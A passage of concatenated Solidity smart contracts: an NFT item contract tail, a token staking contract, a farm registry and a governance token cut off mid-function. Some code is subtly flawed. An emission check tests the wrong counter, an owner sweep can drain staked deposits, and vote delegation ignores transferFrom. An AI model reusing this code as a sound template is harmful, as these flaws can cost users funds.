/// An event for tracking the creation of an item group.
event ItemGroupCreated(uint256 itemGroupId, uint256 itemGroupSize,
address indexed creator);
/**
Construct a new ERC-1155 item with an associated FeeOwner fee.
@param _uri The metadata URI to perform token ID substitution in.
@param _feeOwner The address of a FeeOwner who receives earnings from this
item.
*/
constructor(string memory _uri, FeeOwner _feeOwner, address _proxyRegistryAddress) public ERC1155(_uri) {
metadataUri = _uri;
feeOwner = _feeOwner;
proxyRegistryAddress = _proxyRegistryAddress;
nextItemGroupId = 0;
locked = false;
}
/**
An override to whitelist the OpenSea proxy contract to enable gas-free
listings. This function returns true if `_operator` is approved to transfer
items owned by `_owner`.
@param _owner The owner of items to check for transfer ability.
@param _operator The potential transferrer of `_owner`'s items.
*/
function isApprovedForAll(address _owner, address _operator) public view override returns (bool isOperator) {
ProxyRegistry proxyRegistry = ProxyRegistry(proxyRegistryAddress);
if (address(proxyRegistry.proxies(_owner)) == _operator) {
return true;
}
return ERC1155.isApprovedForAll(_owner, _operator);
}
/**
Allow the item owner to update the metadata URI of this collection.
@param _uri The new URI to update to.
*/
function setURI(string calldata _uri) external onlyOwner {
metadataUri = _uri;
}
/**
Allow the item owner to forever lock this contract to further item minting.
*/
function lock() external onlyOwner {
locked = true;
}
/**
Create a new NFT item group of a specific size. NFTs within a group share a
group ID in the upper 128-bits of their full item ID. Within a group NFTs
can be distinguished for the purposes of serializing issue numbers.
@param recipient The address to receive all NFTs within the newly-created group.
@param ids The item IDs for the new items to create.
@param amounts The amount of each corresponding item ID to create.
@param data Any associated data to use on items minted in this transaction.
*/
function createNFT(address recipient, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data) external onlyOwner returns (uint256) {
require(!locked,
"You cannot create more NFTs on a locked collection.");
require(ids.length > 0,
"You cannot create an empty item group.");
require(ids.length == amounts.length,
"IDs length cannot be mismatched with amounts length.");
// Create an item group of requested size using the next available ID.
uint256 shiftedGroupId = nextItemGroupId << 128;
itemGroupSizes[shiftedGroupId] = ids.length;
// Mint the entire batch of items.
_mintBatch(recipient, ids, amounts, data);
// Increment our next item group ID and return our created item group ID.
nextItemGroupId = nextItemGroupId.add(1);
emit ItemGroupCreated(shiftedGroupId, ids.length, msg.sender);
return shiftedGroupId;
}
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
/**
@title An asset staking contract.
@author Tim Clancy
This staking contract disburses tokens from its internal reservoir according
to a fixed emission schedule. Assets can be assigned varied staking weights.
This code is inspired by and modified from Sushi's Master Chef contract.
https://github.com/sushiswap/sushiswap/blob/master/contracts/MasterChef.sol
*/
contract Staker is Ownable, ReentrancyGuard {
using SafeMath for uint256;
using SafeERC20 for IERC20;
// A user-specified, descriptive name for this Staker.
string public name;
// The token to disburse.
IERC20 public token;
// The amount of the disbursed token deposited by users. This is used for the
// special case where a staking pool has been created for the disbursed token.
// This is required to prevent the Staker itself from reducing emissions.
uint256 public totalTokenDeposited;
// A flag signalling whether the contract owner can add or set developers.
bool public canAlterDevelopers;
// An array of developer addresses for finding shares in the share mapping.
address[] public developerAddresses;
// A mapping of developer addresses to their percent share of emissions.
// Share percentages are represented as 1/1000th of a percent. That is, a 1%
// share of emissions should map an address to 1000.
mapping (address => uint256) public developerShares;
// A flag signalling whether or not the contract owner can alter emissions.
bool public canAlterTokenEmissionSchedule;
bool public canAlterPointEmissionSchedule;
// The token emission schedule of the Staker. This emission schedule maps a
// block number to the amount of tokens or points that should be disbursed with every
// block beginning at said block number.
struct EmissionPoint {
uint256 blockNumber;
uint256 rate;
}
// An array of emission schedule key blocks for finding emission rate changes.
uint256 public tokenEmissionBlockCount;
mapping (uint256 => EmissionPoint) public tokenEmissionBlocks;
uint256 public pointEmissionBlockCount;
mapping (uint256 => EmissionPoint) public pointEmissionBlocks;
// Store the very earliest possible emission block for quick reference.
uint256 MAX_INT = 2**256 - 1;
uint256 internal earliestTokenEmissionBlock;
uint256 internal earliestPointEmissionBlock;
// Information for each pool that can be staked in.
// - token: the address of the ERC20 asset that is being staked in the pool.
// - strength: the relative token emission strength of this pool.
// - lastRewardBlock: the last block number where token distribution occurred.
// - tokensPerShare: accumulated tokens per share times 1e12.
// - pointsPerShare: accumulated points per share times 1e12.
struct PoolInfo {
IERC20 token;
uint256 tokenStrength;
uint256 tokensPerShare;
uint256 pointStrength;
uint256 pointsPerShare;
uint256 lastRewardBlock;
}
IERC20[] public poolTokens;
// Stored information for each available pool per its token address.
mapping (IERC20 => PoolInfo) public poolInfo;
// Information for each user per staking pool:
// - amount: the amount of the pool asset being provided by the user.
// - tokenPaid: the value of the user's total earning that has been paid out.
// -- pending reward = (user.amount * pool.tokensPerShare) - user.rewardDebt.
// - pointPaid: the value of the user's total point earnings that has been paid out.
struct UserInfo {
uint256 amount;
uint256 tokenPaid;
uint256 pointPaid;
}
// Stored information for each user staking in each pool.
mapping (IERC20 => mapping (address => UserInfo)) public userInfo;
// The total sum of the strength of all pools.
uint256 public totalTokenStrength;
uint256 public totalPointStrength;
// The total amount of the disbursed token ever emitted by this Staker.
uint256 public totalTokenDisbursed;
// Users additionally accrue non-token points for participating via staking.
mapping (address => uint256) public userPoints;
mapping (address => uint256) public userSpentPoints;
// A map of all external addresses that are permitted to spend user points.
mapping (address => bool) public approvedPointSpenders;
// Events for depositing assets into the Staker and later withdrawing them.
event Deposit(address indexed user, IERC20 indexed token, uint256 amount);
event Withdraw(address indexed user, IERC20 indexed token, uint256 amount);
// An event for tracking when a user has spent points.
event SpentPoints(address indexed source, address indexed user, uint256 amount);
/**
Construct a new Staker by providing it a name and the token to disburse.
@param _name The name of the Staker contract.
@param _token The token to reward stakers in this contract with.
*/
constructor(string memory _name, IERC20 _token) public {
name = _name;
token = _token;
token.approve(address(this), MAX_INT);
canAlterDevelopers = true;
canAlterTokenEmissionSchedule = true;
earliestTokenEmissionBlock = MAX_INT;
canAlterPointEmissionSchedule = true;
earliestPointEmissionBlock = MAX_INT;
}
/**
Add a new developer to the Staker or overwrite an existing one.
This operation requires that developer address addition is not locked.
@param _developerAddress The additional developer's address.
@param _share The share in 1/1000th of a percent of each token emission sent
to this new developer.
*/
function addDeveloper(address _developerAddress, uint256 _share) external onlyOwner {
require(canAlterDevelopers,
"This Staker has locked the addition of developers; no more may be added.");
developerAddresses.push(_developerAddress);
developerShares[_developerAddress] = _share;
}
/**
Permanently forfeits owner ability to alter the state of Staker developers.
Once called, this function is intended to give peace of mind to the Staker's
developers and community that the fee structure is now immutable.
*/
function lockDevelopers() external onlyOwner {
canAlterDevelopers = false;
}
/**
A developer may at any time update their address or voluntarily reduce their
share of emissions by calling this function from their current address.
Note that updating a developer's share to zero effectively removes them.
@param _newDeveloperAddress An address to update this developer's address.
@param _newShare The new share in 1/1000th of a percent of each token
emission sent to this developer.
*/
function updateDeveloper(address _newDeveloperAddress, uint256 _newShare) external {
uint256 developerShare = developerShares[msg.sender];
require(developerShare > 0,
"You are not a developer of this Staker.");
require(_newShare <= developerShare,
"You cannot increase your developer share.");
developerShares[msg.sender] = 0;
developerAddresses.push(_newDeveloperAddress);
developerShares[_newDeveloperAddress] = _newShare;
}
/**
Set new emission details to the Staker or overwrite existing ones.
This operation requires that emission schedule alteration is not locked.
@param _tokenSchedule An array of EmissionPoints defining the token schedule.
@param _pointSchedule An array of EmissionPoints defining the point schedule.
*/
function setEmissions(EmissionPoint[] memory _tokenSchedule, EmissionPoint[] memory _pointSchedule) external onlyOwner {
if (_tokenSchedule.length > 0) {
require(canAlterTokenEmissionSchedule,
"This Staker has locked the alteration of token emissions.");
tokenEmissionBlockCount = _tokenSchedule.length;
for (uint256 i = 0; i < tokenEmissionBlockCount; i++) {
tokenEmissionBlocks[i] = _tokenSchedule[i];
if (earliestTokenEmissionBlock > _tokenSchedule[i].blockNumber) {
earliestTokenEmissionBlock = _tokenSchedule[i].blockNumber;
}
}
}
require(tokenEmissionBlockCount > 0,
"You must set the token emission schedule.");
if (_pointSchedule.length > 0) {
require(canAlterPointEmissionSchedule,
"This Staker has locked the alteration of point emissions.");
pointEmissionBlockCount = _pointSchedule.length;
for (uint256 i = 0; i < pointEmissionBlockCount; i++) {
pointEmissionBlocks[i] = _pointSchedule[i];
if (earliestPointEmissionBlock > _pointSchedule[i].blockNumber) {
earliestPointEmissionBlock = _pointSchedule[i].blockNumber;
}
}
}
require(tokenEmissionBlockCount > 0,
"You must set the point emission schedule.");
}
/**
Permanently forfeits owner ability to alter the emission schedule.
Once called, this function is intended to give peace of mind to the Staker's
developers and community that the inflation rate is now immutable.
*/
function lockTokenEmissions() external onlyOwner {
canAlterTokenEmissionSchedule = false;
}
/**
Permanently forfeits owner ability to alter the emission schedule.
Once called, this function is intended to give peace of mind to the Staker's
developers and community that the inflation rate is now immutable.
*/
function lockPointEmissions() external onlyOwner {
canAlterPointEmissionSchedule = false;
}
/**
Returns the length of the developer address array.
@return the length of the developer address array.
*/
function getDeveloperCount() external view returns (uint256) {
return developerAddresses.length;
}
/**
Returns the length of the staking pool array.
@return the length of the staking pool array.
*/
function getPoolCount() external view returns (uint256) {
return poolTokens.length;
}
/**
Returns the amount of token that has not been disbursed by the Staker yet.
@return the amount of token that has not been disbursed by the Staker yet.
*/
function getRemainingToken() external view returns (uint256) {
return token.balanceOf(address(this));
}
/**
Allows the contract owner to add a new asset pool to the Staker or overwrite
an existing one.
@param _token The address of the asset to base this staking pool off of.
@param _tokenStrength The relative strength of the new asset for earning token.
@param _pointStrength The relative strength of the new asset for earning points.
*/
function addPool(IERC20 _token, uint256 _tokenStrength, uint256 _pointStrength) external onlyOwner {
require(tokenEmissionBlockCount > 0 && pointEmissionBlockCount > 0,
"Staking pools cannot be addded until an emission schedule has been defined.");
uint256 lastTokenRewardBlock = block.number > earliestTokenEmissionBlock ? block.number : earliestTokenEmissionBlock;
uint256 lastPointRewardBlock = block.number > earliestPointEmissionBlock ? block.number : earliestPointEmissionBlock;
uint256 lastRewardBlock = lastTokenRewardBlock > lastPointRewardBlock ? lastTokenRewardBlock : lastPointRewardBlock;
if (address(poolInfo[_token].token) == address(0)) {
poolTokens.push(_token);
totalTokenStrength = totalTokenStrength.add(_tokenStrength);
totalPointStrength = totalPointStrength.add(_pointStrength);
poolInfo[_token] = PoolInfo({
token: _token,
tokenStrength: _tokenStrength,
tokensPerShare: 0,
pointStrength: _pointStrength,
pointsPerShare: 0,
lastRewardBlock: lastRewardBlock
});
} else {
totalTokenStrength = totalTokenStrength.sub(poolInfo[_token].tokenStrength).add(_tokenStrength);
poolInfo[_token].tokenStrength = _tokenStrength;
totalPointStrength = totalPointStrength.sub(poolInfo[_token].pointStrength).add(_pointStrength);
poolInfo[_token].pointStrength = _pointStrength;
}
}
/**
Uses the emission schedule to calculate the total amount of staking reward
token that was emitted between two specified block numbers.
@param _fromBlock The block to begin calculating emissions from.
@param _toBlock The block to calculate total emissions up to.
*/
function getTotalEmittedTokens(uint256 _fromBlock, uint256 _toBlock) public view returns (uint256) {
require(_toBlock >= _fromBlock,
"Tokens cannot be emitted from a higher block to a lower block.");
uint256 totalEmittedTokens = 0;
uint256 workingRate = 0;
uint256 workingBlock = _fromBlock;
for (uint256 i = 0; i < tokenEmissionBlockCount; ++i) {
uint256 emissionBlock = tokenEmissionBlocks[i].blockNumber;
uint256 emissionRate = tokenEmissionBlocks[i].rate;
if (_toBlock < emissionBlock) {
totalEmittedTokens = totalEmittedTokens.add(_toBlock.sub(workingBlock).mul(workingRate));
return totalEmittedTokens;
} else if (workingBlock < emissionBlock) {
totalEmittedTokens = totalEmittedTokens.add(emissionBlock.sub(workingBlock).mul(workingRate));
workingBlock = emissionBlock;
}
workingRate = emissionRate;
}
if (workingBlock < _toBlock) {
totalEmittedTokens = totalEmittedTokens.add(_toBlock.sub(workingBlock).mul(workingRate));
}
return totalEmittedTokens;
}
/**
Uses the emission schedule to calculate the total amount of points
emitted between two specified block numbers.
@param _fromBlock The block to begin calculating emissions from.
@param _toBlock The block to calculate total emissions up to.
*/
function getTotalEmittedPoints(uint256 _fromBlock, uint256 _toBlock) public view returns (uint256) {
require(_toBlock >= _fromBlock,
"Points cannot be emitted from a higher block to a lower block.");
uint256 totalEmittedPoints = 0;
uint256 workingRate = 0;
uint256 workingBlock = _fromBlock;
for (uint256 i = 0; i < pointEmissionBlockCount; ++i) {
uint256 emissionBlock = pointEmissionBlocks[i].blockNumber;
uint256 emissionRate = pointEmissionBlocks[i].rate;
if (_toBlock < emissionBlock) {
totalEmittedPoints = totalEmittedPoints.add(_toBlock.sub(workingBlock).mul(workingRate));
return totalEmittedPoints;
} else if (workingBlock < emissionBlock) {
totalEmittedPoints = totalEmittedPoints.add(emissionBlock.sub(workingBlock).mul(workingRate));
workingBlock = emissionBlock;
}
workingRate = emissionRate;
}
if (workingBlock < _toBlock) {
totalEmittedPoints = totalEmittedPoints.add(_toBlock.sub(workingBlock).mul(workingRate));
}
return totalEmittedPoints;
}
/**
Update the pool corresponding to the specified token address.
@param _token The address of the asset to update the corresponding pool for.
*/
function updatePool(IERC20 _token) internal {
PoolInfo storage pool = poolInfo[_token];
if (block.number <= pool.lastRewardBlock) {
return;
}
uint256 poolTokenSupply = pool.token.balanceOf(address(this));
if (address(_token) == address(token)) {
poolTokenSupply = totalTokenDeposited;
}
if (poolTokenSupply <= 0) {
pool.lastRewardBlock = block.number;
return;
}
// Calculate tokens and point rewards for this pool.
uint256 totalEmittedTokens = getTotalEmittedTokens(pool.lastRewardBlock, block.number);
uint256 tokensReward = totalEmittedTokens.mul(pool.tokenStrength).div(totalTokenStrength).mul(1e12);
uint256 totalEmittedPoints = getTotalEmittedPoints(pool.lastRewardBlock, block.number);
uint256 pointsReward = totalEmittedPoints.mul(pool.pointStrength).div(totalPointStrength).mul(1e30);
// Directly pay developers their corresponding share of tokens and points.
for (uint256 i = 0; i < developerAddresses.length; ++i) {
address developer = developerAddresses[i];
uint256 share = developerShares[developer];
uint256 devTokens = tokensReward.mul(share).div(100000);
tokensReward = tokensReward - devTokens;
uint256 devPoints = pointsReward.mul(share).div(100000);
pointsReward = pointsReward - devPoints;
token.safeTransferFrom(address(this), developer, devTokens.div(1e12));
userPoints[developer] = userPoints[developer].add(devPoints.div(1e30));
}
// Update the pool rewards per share to pay users the amount remaining.
pool.tokensPerShare = pool.tokensPerShare.add(tokensReward.div(poolTokenSupply));
pool.pointsPerShare = pool.pointsPerShare.add(pointsReward.div(poolTokenSupply));
pool.lastRewardBlock = block.number;
}
/**
A function to easily see the amount of token rewards pending for a user on a
given pool. Returns the pending reward token amount.
@param _token The address of a particular staking pool asset to check for a
pending reward.
@param _user The user address to check for a pending reward.
@return the pending reward token amount.
*/
function getPendingTokens(IERC20 _token, address _user) public view returns (uint256) {
PoolInfo storage pool = poolInfo[_token];
UserInfo storage user = userInfo[_token][_user];
uint256 tokensPerShare = pool.tokensPerShare;
uint256 poolTokenSupply = pool.token.balanceOf(address(this));
if (address(_token) == address(token)) {
poolTokenSupply = totalTokenDeposited;
}
if (block.number > pool.lastRewardBlock && poolTokenSupply > 0) {
uint256 totalEmittedTokens = getTotalEmittedTokens(pool.lastRewardBlock, block.number);
uint256 tokensReward = totalEmittedTokens.mul(pool.tokenStrength).div(totalTokenStrength).mul(1e12);
tokensPerShare = tokensPerShare.add(tokensReward.div(poolTokenSupply));
}
return user.amount.mul(tokensPerShare).div(1e12).sub(user.tokenPaid);
}
/**
A function to easily see the amount of point rewards pending for a user on a
given pool. Returns the pending reward point amount.
@param _token The address of a particular staking pool asset to check for a
pending reward.
@param _user The user address to check for a pending reward.
@return the pending reward token amount.
*/
function getPendingPoints(IERC20 _token, address _user) public view returns (uint256) {
PoolInfo storage pool = poolInfo[_token];
UserInfo storage user = userInfo[_token][_user];
uint256 pointsPerShare = pool.pointsPerShare;
uint256 poolTokenSupply = pool.token.balanceOf(address(this));
if (address(_token) == address(token)) {
poolTokenSupply = totalTokenDeposited;
}
if (block.number > pool.lastRewardBlock && poolTokenSupply > 0) {
uint256 totalEmittedPoints = getTotalEmittedPoints(pool.lastRewardBlock, block.number);
uint256 pointsReward = totalEmittedPoints.mul(pool.pointStrength).div(totalPointStrength).mul(1e30);
pointsPerShare = pointsPerShare.add(pointsReward.div(poolTokenSupply));
}
return user.amount.mul(pointsPerShare).div(1e30).sub(user.pointPaid);
}
/**
Return the number of points that the user has available to spend.
@return the number of points that the user has available to spend.
*/
function getAvailablePoints(address _user) public view returns (uint256) {
uint256 concreteTotal = userPoints[_user];
uint256 pendingTotal = 0;
for (uint256 i = 0; i < poolTokens.length; ++i) {
IERC20 poolToken = poolTokens[i];
uint256 _pendingPoints = getPendingPoints(poolToken, _user);
pendingTotal = pendingTotal.add(_pendingPoints);
}
uint256 spentTotal = userSpentPoints[_user];
return concreteTotal.add(pendingTotal).sub(spentTotal);
}
/**
Return the total number of points that the user has ever accrued.
@return the total number of points that the user has ever accrued.
*/
function getTotalPoints(address _user) external view returns (uint256) {
uint256 concreteTotal = userPoints[_user];
uint256 pendingTotal = 0;
for (uint256 i = 0; i < poolTokens.length; ++i) {
IERC20 poolToken = poolTokens[i];
uint256 _pendingPoints = getPendingPoints(poolToken, _user);
pendingTotal = pendingTotal.add(_pendingPoints);
}
return concreteTotal.add(pendingTotal);
}
/**
Return the total number of points that the user has ever spent.
@return the total number of points that the user has ever spent.
*/
function getSpentPoints(address _user) external view returns (uint256) {
return userSpentPoints[_user];
}
/**
Deposit some particular assets to a particular pool on the Staker.
@param _token The asset to stake into its corresponding pool.
@param _amount The amount of the provided asset to stake.
*/
function deposit(IERC20 _token, uint256 _amount) external nonReentrant {
PoolInfo storage pool = poolInfo[_token];
require(pool.tokenStrength > 0 || pool.pointStrength > 0,
"You cannot deposit assets into an inactive pool.");
UserInfo storage user = userInfo[_token][msg.sender];
updatePool(_token);
if (user.amount > 0) {
uint256 pendingTokens = user.amount.mul(pool.tokensPerShare).div(1e12).sub(user.tokenPaid);
token.safeTransferFrom(address(this), msg.sender, pendingTokens);
totalTokenDisbursed = totalTokenDisbursed.add(pendingTokens);
uint256 pendingPoints = user.amount.mul(pool.pointsPerShare).div(1e30).sub(user.pointPaid);
userPoints[msg.sender] = userPoints[msg.sender].add(pendingPoints);
}
pool.token.safeTransferFrom(address(msg.sender), address(this), _amount);
if (address(_token) == address(token)) {
totalTokenDeposited = totalTokenDeposited.add(_amount);
}
user.amount = user.amount.add(_amount);
user.tokenPaid = user.amount.mul(pool.tokensPerShare).div(1e12);
user.pointPaid = user.amount.mul(pool.pointsPerShare).div(1e30);
emit Deposit(msg.sender, _token, _amount);
}
/**
Withdraw some particular assets from a particular pool on the Staker.
@param _token The asset to withdraw from its corresponding staking pool.
@param _amount The amount of the provided asset to withdraw.
*/
function withdraw(IERC20 _token, uint256 _amount) external nonReentrant {
PoolInfo storage pool = poolInfo[_token];
UserInfo storage user = userInfo[_token][msg.sender];
require(user.amount >= _amount,
"You cannot withdraw that much of the specified token; you are not owed it.");
updatePool(_token);
uint256 pendingTokens = user.amount.mul(pool.tokensPerShare).div(1e12).sub(user.tokenPaid);
token.safeTransferFrom(address(this), msg.sender, pendingTokens);
totalTokenDisbursed = totalTokenDisbursed.add(pendingTokens);
uint256 pendingPoints = user.amount.mul(pool.pointsPerShare).div(1e30).sub(user.pointPaid);
userPoints[msg.sender] = userPoints[msg.sender].add(pendingPoints);
if (address(_token) == address(token)) {
totalTokenDeposited = totalTokenDeposited.sub(_amount);
}
user.amount = user.amount.sub(_amount);
user.tokenPaid = user.amount.mul(pool.tokensPerShare).div(1e12);
user.pointPaid = user.amount.mul(pool.pointsPerShare).div(1e30);
pool.token.safeTransfer(address(msg.sender), _amount);
emit Withdraw(msg.sender, _token, _amount);
}
/**
Allows the owner of this Staker to grant or remove approval to an external
spender of the points that users accrue from staking resources.
@param _spender The external address allowed to spend user points.
@param _approval The updated user approval status.
*/
function approvePointSpender(address _spender, bool _approval) external onlyOwner {
approvedPointSpenders[_spender] = _approval;
}
/**
Allows an approved spender of points to spend points on behalf of a user.
@param _user The user whose points are being spent.
@param _amount The amount of the user's points being spent.
*/
function spendPoints(address _user, uint256 _amount) external {
require(approvedPointSpenders[msg.sender],
"You are not permitted to spend user points.");
uint256 _userPoints = getAvailablePoints(_user);
require(_userPoints >= _amount,
"The user does not have enough points to spend the requested amount.");
userSpentPoints[_user] = userSpentPoints[_user].add(_amount);
emit SpentPoints(msg.sender, _user, _amount);
}
/**
Sweep all of a particular ERC-20 token from the contract.
@param _token The token to sweep the balance from.
*/
function sweep(IERC20 _token) external onlyOwner {
uint256 balance = _token.balanceOf(address(this));
_token.safeTransferFrom(address(this), msg.sender, balance);
}
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
import "./Token.sol";
import "./Staker.sol";
/**
@title A basic smart contract for tracking the ownership of SuperFarm Stakers.
@author Tim Clancy
This is the governing registry of all SuperFarm Staker assets.
*/
contract FarmStakerRecords is Ownable, ReentrancyGuard {
/// A struct used to specify token and pool strengths for adding a pool.
struct PoolData {
IERC20 poolToken;
uint256 tokenStrength;
uint256 pointStrength;
}
/// A version number for this record contract's interface.
uint256 public version = 1;
/// A mapping for an array of all Stakers deployed by a particular address.
mapping (address => address[]) public farmRecords;
/// An event for tracking the creation of a new Staker.
event FarmCreated(address indexed farmAddress, address indexed creator);
/**
Create a Staker on behalf of the owner calling this function. The Staker
supports immediate specification of the emission schedule and pool strength.
@param _name The name of the Staker to create.
@param _token The Token to reward stakers in the Staker with.
@param _tokenSchedule An array of EmissionPoints defining the token schedule.
@param _pointSchedule An array of EmissionPoints defining the point schedule.
@param _initialPools An array of pools to initially add to the new Staker.
*/
function createFarm(string calldata _name, IERC20 _token, Staker.EmissionPoint[] memory _tokenSchedule, Staker.EmissionPoint[] memory _pointSchedule, PoolData[] calldata _initialPools) nonReentrant external returns (Staker) {
Staker newStaker = new Staker(_name, _token);
// Establish the emissions schedule and add the token pools.
newStaker.setEmissions(_tokenSchedule, _pointSchedule);
for (uint256 i = 0; i < _initialPools.length; i++) {
newStaker.addPool(_initialPools[i].poolToken, _initialPools[i].tokenStrength, _initialPools[i].pointStrength);
}
// Transfer ownership of the new Staker to the user then store a reference.
newStaker.transferOwnership(msg.sender);
address stakerAddress = address(newStaker);
farmRecords[msg.sender].push(stakerAddress);
emit FarmCreated(stakerAddress, msg.sender);
return newStaker;
}
/**
Allow a user to add an existing Staker contract to the registry.
@param _farmAddress The address of the Staker contract to add for this user.
*/
function addFarm(address _farmAddress) external {
farmRecords[msg.sender].push(_farmAddress);
}
/**
Get the number of entries in the Staker records mapping for the given user.
@return The number of Stakers added for a given address.
*/
function getFarmCount(address _user) external view returns (uint256) {
return farmRecords[_user].length;
}
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity 0.6.12;
import "@openzeppelin/contracts/token/ERC20/ERC20Capped.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
/**
@title A basic ERC-20 token with voting functionality.
@author Tim Clancy
This contract is used when deploying SuperFarm ERC-20 tokens.
This token is created with a fixed, immutable cap and includes voting rights.
Voting functionality is copied and modified from Sushi, and in turn from YAM:
https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernanceStorage.sol
https://github.com/yam-finance/yam-protocol/blob/master/contracts/token/YAMGovernance.sol
Which is in turn copied and modified from COMPOUND:
https://github.com/compound-finance/compound-protocol/blob/master/contracts/Governance/Comp.sol
*/
contract Token is ERC20Capped, Ownable {
/// A version number for this Token contract's interface.
uint256 public version = 1;
/**
Construct a new Token by providing it a name, ticker, and supply cap.
@param _name The name of the new Token.
@param _ticker The ticker symbol of the new Token.
@param _cap The supply cap of the new Token.
*/
constructor (string memory _name, string memory _ticker, uint256 _cap) public ERC20(_name, _ticker) ERC20Capped(_cap) { }
/**
* @dev Destroys `amount` tokens from the caller.
*
* See {ERC20-_burn}.
*/
function burn(uint256 amount) public virtual {
_burn(_msgSender(), amount);
}
/**
* @dev Destroys `amount` tokens from `account`, deducting from the caller's
* allowance.
*
* See {ERC20-_burn} and {ERC20-allowance}.
*
* Requirements:
*
* - the caller must have allowance for ``accounts``'s tokens of at least
* `amount`.
*/
function burnFrom(address account, uint256 amount) public virtual {
uint256 decreasedAllowance = allowance(account, _msgSender()).sub(amount, "ERC20: burn amount exceeds allowance");
_approve(account, _msgSender(), decreasedAllowance);
_burn(account, amount);
}
/**
Allows Token creator to mint `_amount` of this Token to the address `_to`.
New tokens of this Token cannot be minted if it would exceed the supply cap.
Users are delegated votes when they are minted Token.
@param _to the address to mint Tokens to.
@param _amount the amount of new Token to mint.
*/
function mint(address _to, uint256 _amount) external onlyOwner {
_mint(_to, _amount);
_moveDelegates(address(0), _delegates[_to], _amount);
}
/**
Allows users to transfer tokens to a recipient, moving delegated votes with
the transfer.
@param recipient The address to transfer tokens to.
@param amount The amount of tokens to send to `recipient`.
*/
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
_moveDelegates(_delegates[msg.sender], _delegates[recipient], amount);
return true;
}
/// @dev A mapping to record delegates for each address.
mapping (address => address) internal _delegates;
/// A checkpoint structure to mark some number of votes from a given block.
struct Checkpoint {
uint32 fromBlock;
uint256 votes;
}
/// A mapping to record indexed Checkpoint votes for each address.
mapping (address => mapping (uint32 => Checkpoint)) public checkpoints;
/// A mapping to record the number of Checkpoints for each address.
mapping (address => uint32) public numCheckpoints;
/// The EIP-712 typehash for the contract's domain.
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// The EIP-712 typehash for the delegation struct used by the contract.
bytes32 public constant DELEGATION_TYPEHASH = keccak256("Delegation(address delegatee,uint256 nonce,uint256 expiry)");
/// A mapping to record per-address states for signing / validating signatures.
mapping (address => uint) public nonces;
/// An event emitted when an address changes its delegate.
event DelegateChanged(address indexed delegator, address indexed fromDelegate, address indexed toDelegate);
/// An event emitted when the vote balance of a delegated address changes.
event DelegateVotesChanged(address indexed delegate, uint previousBalance, uint newBalance);
/**
Return the address delegated to by `delegator`.
@return The address delegated to by `delegator`.
*/
function delegates(address delegator) external view returns (address) {
return _delegates[delegator];
}
/**
Delegate votes from `msg.sender` to `delegatee`.
@param delegatee The address to delegate votes to.
*/
function delegate(address delegatee) external {
return _delegate(msg.sender, delegatee);
}
/**
Delegate votes from signatory to `delegatee`.
@param delegatee The address to delegate votes to.
@param nonce The contract state required for signature matching.
@param expiry The time at which to expire the signature.
@param v The recovery byte of the signature.
@param r Half of the ECDSA signature pair.
@param s Half of the ECDSA signature pair.
*/
function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) external {
bytes32 domainSeparator = keccak256(
abi.encode(
DOMAIN_TYPEHASH,
keccak256(bytes(name())),
getChainId(),
address(this)));
bytes32 structHash = keccak256(
abi.encode(
DELEGATION_TYPEHASH,
delegatee,
nonce,
expiry));
bytes32 digest = keccak256(
abi.encodePacked(
"\x19\x01",
domainSeparator,
structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "Invalid signature.");
require(nonce == nonces[signatory]++, "Invalid nonce.");
require(now <= expiry, "Signature expired.");
return _delegate(signatory, delegatee);
}
/**
Get the current votes balance for the address `account`.
@param account The address to get the votes balance of.
@return The number of current votes for `account`.
*/
function getCurrentVotes(address account) external view returns (uint256) {
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
/**
Determine the prior number of votes for an address as of a block number.
@dev The block number must be a finalized block or else this function will revert to prevent misinformation.
@param account The address to check.
@param blockNumber The block number to get the vote balance at.
@return The number of votes the account had as of the given block.
*/
function getPriorVotes(address account, uint blockNumber) external view returns (uint256) {
require(blockNumber < block.number, "The specified block is not yet finalized.");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check the most recent balance.
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Then check the implicit zero balance.
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
/**
An internal function to actually perform the delegation of votes.
@param delegator The address delegating to `delegatee`.
@param delegatee The address receiving delegated votes.
*/
function _delegate(address delegator, address delegatee) internal {
address currentDelegate = _delegates[delegator];
uint256 delegatorBalance = balanceOf(delegator);
_delegates[delegator] = delegatee;
/* console.log('a-', currentDelegate, delegator, delegatee); */
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
/**
An internal function to move delegated vote amounts between addresses.
@param srcRep the previous representative who received delegated votes.
@param dstRep the new representative to receive these delegated votes.
@param amount the amount of delegated votes to move between representatives.
*/
function _moveDelegates(address srcRep, address dstRep, uint256 amount) internal {
if (srcRep != dstRep && amount > 0) {
// Decrease the number of votes delegated to the previous representative.
if (srcRep != address(0)) {
